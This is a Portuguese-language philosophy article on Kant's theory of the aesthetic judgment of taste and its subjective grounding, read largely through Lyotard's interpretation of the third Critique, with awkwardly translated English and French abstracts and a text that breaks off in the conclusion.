KANT E O JUÍZO DE GOSTO COMO FUNDAMENTO  SUBJETIVO DA ESTÉTICA

KANT E O JUÍZO DE GOSTO COMO FUNDAMENTO SUBJETIVO DA ESTÉTICA

KANT, O JUÍZO DE GOSTO COMO FUNDAMENTO

SUBJETIVO DA ESTÉTICA: POR QUE RAZÃO PENSA KANT QUE O
JUÍZO DE GOSTO ESTÉTICO É SUBJETIVO?

 

[email protected][1]

 

Resumo: O artigo analisa o que é a estética na filosofia em
Kant? De que falamos quando falamos de Estética? Muitas perguntas, muitas
respostas…. Primeiramente o artigo expõe questões da releitura de Lyotard das
meditações em Kant, com grande destaque para a idéia de que sem o juízo
estético reflexionante o sistema das três Críticas, a saber, são o início da
Lógica Transcendental, o Juízo reflexionante e o Juízo de gosto,  perderia o
enfoque em torno da sua criticidade. Percebe-se que a incompatibilidade da
estética com a razão teórico-instrumental não é sinal de sua fraqueza ou
menoridade, frente ao conceito, e sim o indício de sua profundidade na
expressão do que este não consegue atingir. Este artigo expõe os seguintes
objetivos, a saber, compreender o significado filosófico do termo estética;
caracterizar e discutir a noção de experiência estética; compreender o problema
da justificação do juízo estético e tomar posição sobre as respostas subjectivista
e objectivista ao problema da justificação do juízo estético. Concluímos que a
estética revela-se como crítica da crítica, sem a qual não há razão possível
alcançar a sua reflexão. Até o presente momento, utiliza-se neste artigo a
palavra estética com considerável freqüência. Mas, afinal, o que vem a ser
estética?

 

Palavras-Chave:
Estética Moderna – Kant – Filosofia.

 

Abstract: The article analyzes the aesthetics in philosophy in Kant? We are
talking about when we talk about Aesthetics? Many questions, many answers….
Firstly the article sets out issues of rereading of Lyotard of meditation on
Kant, with great emphasis on the idea that without jus aesthetic reflexionante
the system of three criticisms, namely, are the beginning of the logic
Transcendental, Jus reflexionante and Judgment of taste], would lose the focus
around its criticality. Perceives-that the incompatibility of aesthetics with
the theoretical-instrumental reason is not a sign of its weakness or nonage,
front of the concept, but rather the indication of its depth in the expression
of that this cannot achieve. This article sets out the following objectives,
namely, understand the meanings philosophical expiry aesthetics; characterize
and to discuss the concept of experience aesthetics; understand the problem of
the justification of judgment aesthetic and take a position on the answers
subjectivista and objectivista the problem of the justification of judgment
aesthetic. We concluded that the aesthetics shows-as criticism of criticism,
without which there is no reason possible to achieve its reflection. Until this
moment, uses-this Article the word aesthetics with considerable frequency. But,
after all, that is to be aesthetics?

 

Key-words: Aesthetics Modern – Kant – Philosophy.

 

Résumé: L’article analyse les esthétique en philosophie en Kant? Nous parlons quand nous parlons de esthétique?
Beaucoup de questions, de nombreuses réponses… Tout d’abord l’article énonce
les questions de relecture de : de la méditation sur Kant, avec une grande
importance à l’idée que, sans jus esthétique reflexionante le système de trois
critiques, à savoir, sont le début de la logique transcendantale, Jus reflexionante
et arrêt du goût], perdrait l’accent autour de son isc. Perçoit-que
l’incompatibilité de l’esthétique avec le plan théorique-raison instrumentale
n’est pas un signe de sa faiblesse ou nonage, devant le concept, mais plutôt
l’indication de sa profondeur dans l’expression de que ce ne peut pas
atteindre.
Cet article
énonce les objectifs suivants, à savoir, comprendre la signification
philosophique expiration esthétique; caractériser et à discuter du concept de
l’expérience esthétique; comprendre le problème de la justification de jugement
esthétique et de prendre position sur les réponses subjectivista et
objectivista le problème de la justification de jugement esthétique. Nous avons
conclu que l’esthétique montre-comme une critique de critiques, sans lesquels
il y a aucune raison possible de réaliser sa réflexion. Jusqu’à ce moment-là,
utilise-cet article le mot esthétique avec une grande fréquence. Mais, après
tout, c’est d’être esthétique?

 

Mots-clés: esthétique moderne – Kant – philosophie.

 

                 O termo estética vem da origem grega[αισθητική
ou aisthésis], que significa percepção, sensação, ou seja a estética é um ramo
da filosofia que tem por objeto o estudo da natureza do belo e dos fundamentos
da arte. No que se segue, ela estuda o julgamento e a percepção do que é
considerado belo, a produção das emoções pelos fenômenos estéticos, bem como as
diferentes formas de arte e do trabalho artístico; a idéia de obra de arte e de
criação; a relação entre matérias e formas nas artes. Por outro lado, a
estética também pode ocupar-se da privação da beleza, ou seja, o que pode ser
considerado feio, ou até mesmo ridículo. Como se pode perceber, a estética
trabalha com a arte, em suas mais variadas formas, quais sejam, arquitetura, escultura,
pintura, literatura [poesia e prosa], teatro, música [vocal e instrumental],
dança, fotografia, cinema, em suas múltiplas possibilidades de expressão. Essas
questões mencionadas acima que emergem para quem se aproxima da estética são
abrangentes, polissêmicas, mas o que é arte? Em que consiste a arte? E qual é o
seu propósito? O que é belo? O que caracteriza uma obra de arte como medíocre,
boa ou genial? Como interpretar uma obra de arte de forma adequada? E quanto ao
seu aspecto moral?

                
Este estudo procura discutir a relevância da abordagem do sistema kantiano a
partir da primeira e da segunda Críticas, quando Kant põe ênfase na razão
legisladora no âmbito da natureza e da moral, momento em que o mundo sensível é
apenas subsumido às categorias do entendimento e às idéias da razão prática, de
sorte que o singular só pode se manifestar como suporte da norma universal,
preso, de um lado, à força de demonstração de hipóteses e, de outro, à força de
realização de imperativos.

                 
Em conseqüência disto Gerd Alberto Bornheim, argumentou que o século das Luzes
inventou o mundo sensível, conduzindo-o à maioridade, mas isso foi na filosofia
de Immanuel Kant (1724-1804), e é por isso que esse movimento histórico atingiu
sua maior expressão, como é o caso o homo aestheticus e finalmente ele conquistou
o seu lugar, ao lado da razão e do entendimento. É neste contexto que Bornheim
disse que “[…] a estética conquista aos poucos a sua identidade específica e
os seus altos lugares: sua medida situa-se então nada menos do que na
reinvenção da realidade humana” (BORNHEIM, 1996, p. 75). Salvar esse momento
sensível da filosofia de Kant significa indagar, interrogar o papel da estética
em seu sistema, mas responder a essa questão é não somente expor a importância
do estético na filosofia contemporânea, e sim a possibilidade da própria
filosofia enquanto pensamento que se sente permanentemente a si mesmo, como
parece indicar Kant, em sua primeira Crítica, no início da Lógica
transcendental: O ponto de vista de Kant (1989) a respeito da natureza da
lógica transcendental foi expresso de uma forma bastante sintética: “Pensamentos sem conteúdo são
vazios; intuições sem conceito são cegas. Pelo que é tão necessário tornar
sensíveis […] as intuições […] O entendimento nada pode intuir e os sentidos
nada podem pensar.[…]” (KANT,1989, p. 89).

                  Procuraremos
expor que, sem a reflexão estética o sistema kantiano perderia sua criticidade,
mas relembremos o que diz Kant em sua introdução à terceira Crítica. Assim, a
tradicional interpretação da Crítica do juízo tem se inspirado na escrita dessa
introdução, no que se refere à acentuação do papel da teleologia e não da
estética na tarefa de unificação da filosofia, partilhada nas duas primeiras
Críticas entre a busca do conhecimento empírico dos objetos e a realização da
liberdade sob a lei moral incondicional, independente da experiência. Tomamos,
por exemplo, a interpretação de Louis Guillermit acerca da unidade das três
Críticas. Partindo da afirmação de que o belo é reduzido ao estatuto de símbolo
da moralidade, ou seja, afirma ele, ainda, que podemos:

 

[A] visão da natureza sob a espécie de uma organização
de fins ordenados a um fim último, do qual a razão prática exige a
possibilidade de realização sob o nome de ‘soberano bem’. Essa natureza prepara
de algum modo o leito da liberdade: a beleza simboliza a ação desta última,
pois libera da atração sensível e desperta o interesse pela moralidade[…] (GUILLERMIT,
1974, p. 32).

 

 

                
 De acordo com Guilhermit,
em sua dedução transcendental da faculdade de julgar, percebemos que ao tratar
do sistema das faculdades superiores do conhecimento, enquanto fundamento da filosofia,
Kant inclui justamente a faculdade de julgar, ao lado da razão e do
entendimento. É interessante assinalar que a faculdade de julgar é definida
como a faculdade da subsunção do particular sob o universal, a razão, como a
faculdade da determinação do particular pelo universal, legisladora das leis da
liberdade na Crítica da razão prática e o entendimento, como a faculdade
legisladora das regras, das leis da natureza que permitem o conhecimento do universal
no mundo fenomênico, objeto da Crítica da razão pura teórica.

                 
Isto significa dizer que apesar do seu estatuto de faculdade superior, a
faculdade de julgar não produz os conceitos, como o entendimento, nem idéias,
como a razão. Assim, acredita-se que uma faculdade de conhecimento particular e
sem autonomia, que opera a subsunção sob conceitos dados, provindos do entendimento.
É importante perceber que a faculdade de julgar não funda nem um conhecimento
teórico da natureza, nem um princípio prático da liberdade; ele pressupõe uma unidade
formal das leis da natureza de acordo com os conceitos do entendimento. Essa
unidade fornece um princípio para se operar a subsunção de experiências
particulares sob as leis universais a priori, o que permite a vinculação
sistemática dos dados empíricos, possibilitando uma leitura coerente do que,
até então, se apresentava de forma contingente. Neste ponto,o discurso de Kant
ilustra bem seus propósitos:

 

O […] Juízo e próprio a ele é, pois o da natureza
como arte, em outras palavras, o da técnica da natureza quanto a suas leis
particulares, conceito este que não funda nenhuma teoria e, do mesmo modo que a
lógica, não contém conhecimento dos objetos e de sua índole, mas somente dá um
princípio para o prosseguimento segundo leis de experiência, pelas quais se
torna possível a investigação da natureza. […](KANT, 1980a, p. 172).

 

 

                   Este discurso
revigora as
definidas
faculdades superiores do conhecimento, Kant apresenta, em seguida, as faculdades
do conhecer segundo os tipos de relações existentes entre o sujeito e o objeto.
Assim, quando o sujeito constrói representações que se referem ao objeto, está
em ação a faculdade do conhecimento em sentido estrito; quando as
representações são causa da efetividade do objeto, age no sujeito a faculdade
de desejar; e quando, finalmente, essas representações referem-se ao sujeito, produzindo efeito
positivo ou negativo sobre sua força vital, está em ato o sentimento de prazer
ou desprazer. Estabelecidos os dois sistemas de faculdades, Kant, aplicando seu
método transcendental, opera a relação de um com o outro, deduzindo os
princípios a priori da faculdade de julgar, ao lado dos princípios a priori do
entendimento puro e da razão pura, já deduzidos, respectivamente, nas duas
primeiras Críticas. Enquanto o entendimento e a razão referem-se a objetos, o
juízo refere-se exclusivamente ao sujeito, não produzindo nenhum conceito de
objetos. Ainda discorrendo sobre isto, Kant argumentou que: “[…] o sentimento
de prazer e desprazer é somente a receptividade de uma determinação do sujeito,
de tal modo que, se o Juízo deve, em alguma parte, determinar algo por si mesmo
[…]” (KANT, 1980a, p. 174).

                   Portanto, a
pressuposição subjetivamente necessária de que a natureza, longe de ser um amontoado
de leis empíricas ou de formas heterogêneas, é um sistema empírico, é o
princípio transcendental da faculdade de julgar, uma vez que a idéia de ordem e
coerência é apenas reguladora, sem a qual o ato de julgar torna-se impossível.
Além de simplesmente subsumir o particular sob o universal, cujo conceito já
esteja dado, o juízo pode fazer o percurso contrário, isto é, encontrar para os
dados empíricos singulares uma lei natural pressuposta a priori. Isso, só o
Juízo pode fazê-lo. Para Kant, o discurso do juízo:

 

[…] Nem o entendimento nem razão podem fundar a priori
tal lei natural. […] ela é uma mera pressuposição do Juízo, em função de seu próprio
uso, para remontar do empírico-particular cada vez mais ao mais universal
igualmente empírico, em vista da unificação de leis empíricas. (KANT, 1980a, p.
175-176).

 

 

                 
Nesta citação acima, Immanuel Kant se esmiúça sobre o estudo do juízo
reflexionante em sua natureza própria, que é a de refletir, ou seja, analisar e
sustentar juntas determinadas representações com o intuito de viabilizar
conceitos. Estamos no domínio do juízo reflexionante ou da faculdade de julgamento
propriamente dita; seu princípio transcendental é o que permite considerar, a
priori, a natureza como um sistema lógico; é o princípio por meio do qual a
natureza especifica a si mesma: “A natureza especifica suas leis universais em
empíricas, em conformidade com a forma de um sistema lógico, em função do
Juízo” (KANT, 1980a, p. 179). De acordo com as colocações da autor, pode-se
afirmar que na verdade, temos discorrido sobre uma pressuposta finalidade da
natureza, ou seja, de um fim não posto no objeto, mas no sujeito, no uso de sua
faculdade de refletir. Nesse sentido, o juízo é uma técnica que fornece
finalidades à priori à natureza, rejeitando-a enquanto diversidade sem fundamento
unificador.

                
Vejamos em que consiste essa técnica no âmbito da faculdade de conhecimento em
seu sentido estrito. Do mesmo modo, ela realiza três ações diante de cada
conceito empírico: a imaginação é responsável pela apreensão do diverso das
representações singulares que se apresentam na intuição; o entendimento, pela compreensão,
ou seja, pela unidade sintética da consciência desse diverso no conceito de um
objeto; e o juízo, pela exposição do objeto correspondente a esse conceito na
intuição. Nesse caso, por se tratar de um conceito empírico, o juízo assume
papel determinante.

                
No entanto, se a forma de um objeto dado na intuição for capaz de provocar que
a sua apreensão na imaginação coincida com a exposição de um conceito do
entendimento, de modo a não ser possível determinar-se qual seja esse conceito,
estaremos diante de um acordo mútuo dessas faculdades no ato de uma operação
reflexionante em que a finalidade do objeto é percebida subjetivamente, não
sendo requerido nenhum conceito determinado dele. Aqui, o juízo não é de conhecimento,
mas um juízo de reflexão estética (KANT, 1980a, p. 182). De outra parte, há um
tipo de juízo reflexionante sobre a finalidade objetiva da natureza que Kant
considera como um juízo de conhecimento, embora não determinante: é o juízo teleológico.
Definidos os dois tipos de juízo reflexionante [estético e teleológico], Kant
passará a abordá-los separadamente. Estética, na primeira Crítica, significa a
apreensão dos dados sensíveis nas formas a priori do espaço e do tempo, formas
puras de nossa intuição.

                  Nesse
sentido, entendemos que a estética apresenta-se como faculdade passiva da
sensibilidade, a serviço do entendimento legislador, na terceira Crítica ganha
estatuto ativo. Assim, na Crítica do juízo, Kant diz o seguinte: “Pela
denominação de um Juízo estético sobre um objeto, está indicado […] que uma
representação dada é referida, por certo, a um objeto, mas, no Juízo não é
entendida a determinação do objeto, mas sim a do sujeito e de seu sentimento”
(KANT, 1980a, p. 184).

                  Como
se vê, Kant subdivide o juízo estético em juízo de sentido estético e em juízo
estético universal. O primeiro exprime a referência de uma representação
imediatamente ao sentimento de prazer; o segundo contém as condições subjetivas
para um conhecimento em geral e tem a sensação subjetiva de prazer ou desprazer
como o fundamento de sua determinação. Desses juízos não se pode predicar
nenhum conceito do objeto, pois não pertencem à faculdade de conhecimento. O
juízo estético possui autonomia subjetiva. Sua pretensão à validade universal
legitima-se em seus princípios a priori. Kant designa essa autonomia de
heautonomia e ele frisou o seguinte: “[…] o Juízo dá não à natureza, nem à
liberdade, mas exclusivamente a si mesmo a lei, e não é uma faculdade de
produzir conceitos de objetos, mas somente de comparar, com os que lhes são
dados de outra parte[…]” (KANT, 1980a, p. 185).

                 
Tratemos agora do julgamento teleológico, o segundo tipo de juízo
reflexionante. Kant o define como o juízo sobre a finalidade em coisas da natureza
ou, se quisermos, um juízo sobre os fins naturais (KANT, 1980a, p. 190). O
conceito dos fins naturais é exclusivo do juízo teleológico reflexionante, que
o utiliza para ocupar-se da vinculação causal no mundo fenomênico. Esse juízo pressupõe
um conceito do objeto e julga sobre sua possibilidade segundo uma lei da
vinculação das causas e efeitos. Há, então, uma ‘técnica orgânica’ da natureza
que fornece a finalidade das coisas, uma finalidade objetiva para um juízo objetivo
(KANT, 1980a, p. 191). O julgamento teleológico estabelece um fio condutor entre
a natureza e a razão, entre o sensível e o inteligível, uma vez que o conceito
dos fins naturais assenta-se no acordo da razão com o entendimento. Enquanto o
juízo reflexionante estético é o único que tem seu fundamento de determinação
em si mesmo, sem unir-se à outra faculdade de conhecimento, o juízo teleológico
só pode ser emitido por meio da vinculação da razão a conceitos empíricos
(KANT, 1980a, p. 198). O fim natural deriva das idéias da razão, ao mesmo tempo
que tem um objeto dado.

                 
Apesar da ênfase do juízo de gosto que essa “Introdução” dedicou à Teleologia
de tal é a sua objetividade, reservando à estética o estatuto de uma faculdade
particular que opera sem conceitos, o filósofo francês Jean-François Lyotard
resgatou a importância do julgamento estético, considerando-o o modo de proceder
do pensamento crítico em geral. Este deve observar uma pausa, uma suspensão da investigação,
entrando em estado reflexivo, colocando-se à escuta dos sentimentos de prazer e
de desprazer, que é o que orienta o exame crítico. Mas como Lyotard pode rejeitar
o caráter teleológico exposto na estética de Kant? Em que consiste o seu argumento
para desviar a interpretação desse objetivo? Ora, para Lyotard, os sentimentos
de prazer e desprazer são o princípio subjetivo de diferenciação da reflexão estética
na ausência de todo princípio objetivo do conhecimento e fora do campo de
influência de inúmeras, seja, teórica ou prática. É nesse contexto que Lyotard
disse que: “[…] a terceira Crítica pode cumprir sua missão de unificação do
campo filosófico, não é principalmente porque expõe no seu tema a idéia
reguladora de uma finalidade objetiva da natureza[…]” (LYOTARD, 1993, p.15).

                 
O autor esclarece que nessa perspectiva, a sensação é que informa o espírito
sobre seu estado, realizando julgamento imediato do pensamento sobre si mesmo;
este julgasse bem ou mal durante sua atividade. “O afeto é como o ressoar
interior do ato, sua ‘reflexão’” (LYOTARD, 1993, p. 17). Herman Cohen
(1842-1918), da Escola de Marburgo (1871-1933) interpreta a Crítica da razão
pura de modo a ressaltar o conceito, a objetividade, o triunfo do pensamento puro
sobre a intuição. Philonenko notou que:

 

Cohen […] se separa de Kant ao conferir à filosofia
transcendental, como ponto de partida, não a intuição pura, mas o pensamento
puro. A filosofia [para Cohen] deve se constituir originalmente como lógica
transcendental e não se apoiar sobre a estética transcendental (PHILONENKO,
1974, p. 198-199).

 

                
 Em contraposição a essa interpretação de Cohen, para Lyotard, pensar
criticamente é afetar-se, é deixar-se orientar pelos sentimentos de prazer e
desprazer antes de se fazer qualquer inferência acerca da verdade e falsidade
de um determinado conhecimento ou do justo e injusto de determinadas ações. É a
partir disto que reside à condição subjetiva de toda objetividade. Para
Philonenko o juízo estético legisla sobre si mesmo, sendo ao mesmo tempo a lei
e o objeto, a forma e o conteúdo, independentemente da razão e do entendimento,
que possibilitam todo juízo de conhecimento e quando a razão e o conhecimento
intervêm, o juízo deixa de ser reflexionante, assumindo papel determinante na
esquematização dos conceitos.

                  No
entendimento de Lyotard denomina essa característica da reflexão estética de
tautegoria, e é ela que prepara o advento crítico das categorias do
entendimento. Neste sentido podemos destacar com efeito, na primeira Crítica, a
Lógica Transcendental é precedida pela Estética Transcendental, compondo,
ambas, a Doutrina Transcendental dos Elementos. Conseqüentemente vemos que após
concluir, na Estética Transcendental, que os juízos sintéticos a priori nunca podem
ultrapassar os objetos dos sentidos, Kant reafirmou que na Dedução
transcendental dos conceitos puros do entendimento. Kant, assim declarou: “[…]
toda a intuição possível para nós é sensível (estética) e, assim, o pensamento
de um objeto em geral só pode converter-se em nós num conhecimento, por meio de
um conceito puro do entendimento[…]”(KANT, 1989, p. 145-146).

                 
Este posicionamento, o juízo de gosto é formal e, apesar de subjetivo, é
universal e necessário: a forma deve agradar a todos. Mas não se trata aqui de
um imperativo categórico, incondicional, objetivo, como estabelecido na segunda
Crítica; estamos diante de uma universalidade mediata, subjetiva. Nesse
sentido, o juízo sobre o belo não é determinante ou fundado numa norma abstrata
e antecipatória do mundo do ser; é, por assim dizer, o juízo da espera e da
promessa, pois não pode impor seus veredictos, cingindo-se a partilhar seus
julgamentos a partir do exemplo, do fenômeno particular, na esperança de que a
comunidade dê o assentimento à sua crítica.

                 
 Pode-se dizer que o juízo de gosto promete validade universal com base em
julgamento exemplar, sendo a necessidade expressa a partir do exemplo e a
universalidade na promessa da partilha da crítica. Eis os monstros lógicos
produzidos pela tópica reflexiva, que, segundo Lyotard, apoiado na leitura do
Apêndice da Analítica da primeira Crítica – Da anfibolia dos conceitos da
reflexão, resultante da confusão do uso empírico do entendimento com o seu uso
transcendental, são modos subjetivos de síntese, provisórios, preparatórios às
categorias. A distorção resulta da pretensão ao universal e ao necessário de

um juízo
singular, refletido e reflexivo.

                 
É importante destacar, que essa pretensão, o senso comum estético, no entanto,
será legítima na presença de um princípio subjetivo, um senso comum que seja o
efeito do livre jogo das faculdades de conhecer. É então, aqui que se destaca o
entendimento e imaginação, com efeito, que concordam entre si, harmonizam-se
diante do julgamento estético dos objetos. Vêem-se, então, que o senso comum engendrado
nesse acordo a priori das faculdades é que torna possível o sentimento do
prazer estético, mas se os julgamentos de gosto possuíssem um princípio
objetivo determinado, aquele que os pronunciasse segundo este princípio
pretenderia para seu julgamento uma necessidade incondicionada e se fossem
desprovidos de todo princípio, como os julgamentos do simples gosto dos
sentidos, não se teria nunca a idéia de que pudessem ter a menor necessidade e
é por isso, precisam ter um princípio subjetivo que determine unicamente por
sentimento, não por conceitos, mas de uma maneira universalmente válida, o que
apraz ou não apraz.

                 
Contudo, Pretendo desencorajar uma leitura sociológica ou antropológica desse
senso comum, afirma Lyotard que o prazer do belo somente traz em si uma
promessa de felicidade a ser partilhada, a partir do exemplo singular de realização
dessa felicidade em um indivíduo qualquer. Diante das belas formas da natureza da
arte, sentimos um prazer que prometemos aos outros, embora jamais possamos
comprovar se de fato houve a partilha de nosso sentimento, isso porque o juízo
de gosto não é determinante. Com o intuito de estender que se ele exige uma
partilha, é porque expressa o sentimento de uma harmonia possível das faculdades
de conhecimento, independentemente do conhecimento.

                 
Para Lyotard, no entanto, o senso comum estético não é mais que a harmoniosa proporção
entre entendimento e imaginação, diante do desafio de se apropriarem da forma
do objeto, fonte do prazer, um jogo livre das faculdades de conhecimento, curto
circuitando as imposições do conhecimento e da moralidade. Outro aspecto
importante neste item, e que, o senso comum estético expressa um acordo
subjetivo das faculdades de conhecimento e não somente um acordo objetivo entre
os sujeitos. Desta forma Kant colocou que esta validade universal não deve se
apoiar na recoleção de opiniões, nem na investigação sobre o que os outros
ressentem, mas deve se fundar, por assim dizer, sobre a autonomia do sujeito
que julga a partir do sentimento de prazer, não devendo se restringir dos
conceitos.

                 
Cabe, ainda, ressaltar que não é possível uma leitura sociológica ou
antropológica desse senso comum. Ademais, para Lyotard, a união das faculdades
de conhecimento só ocorre cada vez que o prazer do gosto é sentido; acontece
aqui e agora, de modo singular e imprevisível. Assim, a matriz
espaço-temporal-estética é o aqui e o agora. Dela é que surge a promessa de um sujeito
que – diferentemente do sujeito formal da primeira e segunda Criticas – se
encontrará nascendo a cada vez que existir o prazer do belo; todavia, não permanecerá
nascente, pois o tempo estético não possui passado, nem futuro que possa
escorar uma identidade do sujeito. Encontramos, aqui também, que o mesmo se
pode dizer do sentimento do sublime; no ato do confronto entre a razão e a
imaginação, esta se descobre impotente para apreender os dados sucessivamente,
em virtude da natureza do objeto não-apresentável, a liberdade, que ela se
esforçará por apresentar. Quanto a este último ponto, Lyotard argumentou que:

 

O gosto promete a cada um a felicidade de uma unidade
subjetiva cumprida, o sublime anuncia a alguns uma outra unidade, menos
completa, naufragada de certo modo e mais ‘nobre, edel’. […] O sentimento
estético na singularidade de sua ocorrência é o subjetivo puro do pensamento,
isto é, o Juízo refletido em si mesmo (LYOTARD, 1993, p. 30).

 

 

                  Pode-se
afirmar contudo, a maneira reflexiva de pensar não é somente acompanha por
todos os atos do pensamento, mas ela guia-os, por intermédio de uma tópica pré-conceitual,
em direção à sensibilidade ou ao entendimento. É esse o seu traço heurístico,
que a transforma no laboratório subjetivo de todas as objetividades. É
interessante também notar que essa tópica opera por meio de comparações das
representações que precedem o conceito das coisas, e é essas comparações, de
acordo com o Apêndice da analítica dos princípios da primeira Crítica, são
feitas a quatro títulos, quais sejam: identidade e diversidade; conveniência e
inconveniência; interno e externo; determinável e determinação. Porém, esses
títulos são subjetivos, isto é, as relações de representações engendradas por
eles ocupam imediatamente lugares num estado de espírito, até que sejam
referidas a uma faculdade, entendimento ou sensibilidade. É nesse ponto que
essas relações, que indicam modos espontâneos de síntese, até então localizadas
de modo provisório e preparatório, são definitivamente domiciliadas e
legitimadas a operar objetivamente no plano das formas ou categorias.

                  Kant
denominou os títulos de conceitos de reflexão, em razão de sua capacidade de
transformar seus lugares imediatos em autênticos lugares transcendentais,
condições de possibilidade das sínteses. O aspecto heurístico da reflexão pode
percebê-lo com clareza nas duas seguintes definições de Kant para o termo
reflexão, a saber, sendo que o estado de espírito no qual nos preparamos
primeiro para descobrir as condições subjetivas que nos permitam chegar a
conceitos, ou seja, a consciência da relação de representações dadas às nossas
diferentes fontes de conhecimento. Segundo Lyotard, Kant utiliza, geralmente, o
termo consciência no sentido de reflexão. Assim, o pensamento está consciente
enquanto sente. Logo, descoberta e consciência são dois termos-chave para
entendermos porque a maneira reflexiva de pensar é o ponto nevrálgico do pensamento
crítico. Sobre este
pensamento crítico Lyotard destacou o seguinte:
“[…] a reflexão, o
pensamento parece bem dispor da arma crítica inteira. Porque a reflexão é o
nome que porta na filosofia crítica a possibilidade desta filosofia.[…] isto
é, a legitimidade, de um juízo sintético a priori[…]” (LYOTARD, 1993, p. 35).

                
Além disso, Lyotard acredita que a função tautegórica para que se atinja essa
legitimidade, é necessário que se recorra a juízos sintéticos de discriminação.
Em outras palavras a existência desses juízos só é possível em razão do aspecto
tautegórico da reflexão, isto é, aquilo que o pensamento se sente enquanto pensa,
julga, sintetiza.  Assim, o autor defende que tais juízos são primeiramente reflexos
de reuniões espontâneas de representações, comparações fluidas pré-criadas,
sentidas, ainda não domiciliadas, agrupadas sob títulos subjetivos, que a
reflexão poderá legitimar ou deslegitimar, realizando ou não a passagem para a
objetividade das sínteses provisórias. Como pode ser observado no seguinte
fragmento:

 

O pensamento crítico dispõe, na sua reflexão, […] de
uma espécie de pré-lógica transcendental. […] uma estética, posto que é feita
só da sensação que afeta todo pensamento atual enquanto é simplesmente pensado,
o pensamento se sentindo pensar e se sentindo pensado, juntamente.
[…](LYOTARD, 1993, p. 36).

 

 

                 
A partir do fragmento supracitado, é possível verificar, que se no âmbito das categorias
do entendimento ou das formas da intuição a reflexão preenche uma função
predominantemente heurística, legitimadora dos lugares transcendentais que
contêm as condições a priori do conhecimento, à medida que o pensamento crítico
afasta-se desses lugares seguros, o aspecto tautegórico da reflexão passa a
manifestar-se mais intensamente, a ponto de, nos juízos estéticos, predominar
sobre a função heurística. Aqui, a sensação não prepara o pensamento para nenhum
conhecimento possível; ela é, por si mesma, a totalidade do gosto e do
sentimento sublime. Ao revelar sua função heurística, a reflexão é estética no
sentido da primeira Crítica, ou seja, é o modo de apreensão dos dados da
intuição sensível nas formas a priori do espaço e do tempo. A sensação cumpre,
nesse plano, papel legitimador das condições de possibilidade de um conhecimento
objetivo em geral, possuindo uma finalidade cognitiva de oferecer informações
espontâneas sobre o objeto, por meio dos títulos ou conceitos de reflexão.

                 
Por outro lado, em sua função tautegórica, a reflexão é estética no sentido da
terceira Crítica, ou seja, como sentimentos de prazer e de desprazer, nos quais
a sensação é voltada para informar o espírito sobre seu estado afetivo, momento
em que a finalidade cognitiva deixa de ser preponderante. O pensamento torna-se
juiz de si mesmo, por isso, crítico; crítico e desinteressado em conceder
qualquer informação sobre o objeto, educado para resistir, por assim dizer, às
pressões identificadoras. A reflexão manifesta-se em seu estado puro, imune a
quaisquer determinações das outras faculdades de conhecimento em geral. O juízo
é que se mostrará como faculdade emancipada, heautônoma, isto é, portadora de autonomia
subjetiva. Esse é o juízo reflexionante estético, que possui o seu próprio
princípio a priori, transcendental, que pressupõe uma finalidade da natureza
com base no sujeito e não no objeto.

                 
A reflexão no campo teórico está presente em todos os campos do pensamento; ela
é o ingrediente que o torna crítico. No campo teórico, as categorias do
entendimento não bastam para orientar o pensamento. É preciso que a
transcendentalidade teórica seja legitimada, tomando-se por base o empírico, as
sensações. Estas se agrupam em títulos reflexivos, de modo provisório e
subjetivo, funcionando como princípio de diferenciação das sínteses de
representações. As sínteses que forem legitimadas para se legislar no campo
teórico serão domiciliadas no entendimento. Nem todos os conceitos de reflexão
e títulos são conceitos do entendimento, legitimados a operar objetivamente.
Para Lyotard:

 

 

A reflexão é bem discriminatória, ou crítica, porque
se opõe à extensão inconsiderada do conceito fora do seu campo próprio.
Domicilia as sínteses com as faculdades, ou, o que dá no mesmo, determina estes
transcendentais que são as faculdades pela comparação das sínteses que cada uma
pode efetuar aparentemente sobre os mesmos objetos (LYOTARD, 1993, p. 41).

 

 

                 
 Pela definição acima, pode-se compreender que a reflexão no campo prático não
é diferente o papel que a reflexão exerce. Assim, acredita-se que o uso da
categoria da causalidade no campo da moralidade sofre a devida restrição, uma vez
que o ato moral não deve ser efeito de causa natural. É possível perceber que a
liberdade é causa de si mesma, sendo causa incondicional, sem conteúdo, e é por
isso que essa idéia de causalidade é legitimada a operar no campo da razão e é
por intermédio da reflexão que é realizada essa discriminação, esse
domiciliamento. Na moralidade, o pensamento também é advertido imediatamente de
seu estado, graças ao único sentimento moral, que é o respeito, único título de
uma síntese subjetiva que corresponde às exigências de uma legalidade formal.
Como argumentou Kant, o sentimento moral é o “[…] efeito subjetivo que a lei
exerce sobre a vontade e do qual só a razão fornece os princípios objetivos”
(KANT, 1980b, p. 160). Estamos perante uma região reflexiva, legitimada criticamente
a legislar no campo da moralidade. Segundo Lyotard: “[…]A moralidade sendo
pensada como obrigação pura, a Achtung é o seu sentimento. Eis a pura
tautegoria do sentimento, que lhe confere seu valor heurístico.[…]” (LYOTARD,
1993, p. 43).

                 
Por fim, a reflexão no campo estético, este “modo conseqüente de pensar”
(LYOTARD, 1993, p. 44) apresenta-se plenamente tautegórico, isento de toda tarefa.
Mas como legitimar o uso do juízo reflexionante se a própria reflexão se
encontra desprovida de uma heurística, visto que a faculdade de julgar é
desinteressada? Ora, se o sentimento estético puro não detém os meios de
construir as condições a priori de sua possibilidade, por ser imediato e
desvinculado da natureza e da liberdade, os papéis invertem-se. O pensamento
empreende a heurística da reflexão por meio das categorias, que servem de
princípios de discriminação para orientá-lo no âmbito do sentimento estético
puro. O preço dessa inversão é a deformação das categorias em virtude do gosto.
Lyotard denomina de anamnese essa interferência do teorético no estético. A
lógica dá lugar a uma analógica no momento em que as sensações se desinteressam
em fornecer quaisquer informações sobre os objetos, referindo-se apenas ao
espírito. Lyotard traz uma valiosa reflexão sobre a linguagem: “[…] as
categorias podem e devem ser empregadas assim para domiciliar as condições a
priori do gosto, o domicílio buscado não é o entendimento […] E também não a
razão, mesmo no sublime.[…]” (LYOTARD, 1993, p. 48).

                  A
esse respeito, Lyotard comentou que apesar da mediação das categorias na constituição
da legitimidade do juízo reflexionante, elas não exercem seu efeito
determinante no campo estético. Os efeitos colocados em ação são distorcidos,
manobrados pela reflexão, gerando, assim, monstros lógicos, tais como
necessidade exemplar ou universalidade subjetiva, exigências do gosto que busca
ser partilhado; esses monstros lógicos são análogos à necessidade e à
universalidade objetivas, presentes no entendimento. Estamos, pois, numa situação
aporética, caracterizada pela impossibilidade de a razão teórica apresentar
respostas eficazes à peculiaridade do estético.

                 
Concluímos que essa interpretação de Lyotard abre novos caminhos para as
ciências humanas, convidando-as a refazer criticamente a arqueologia de seus
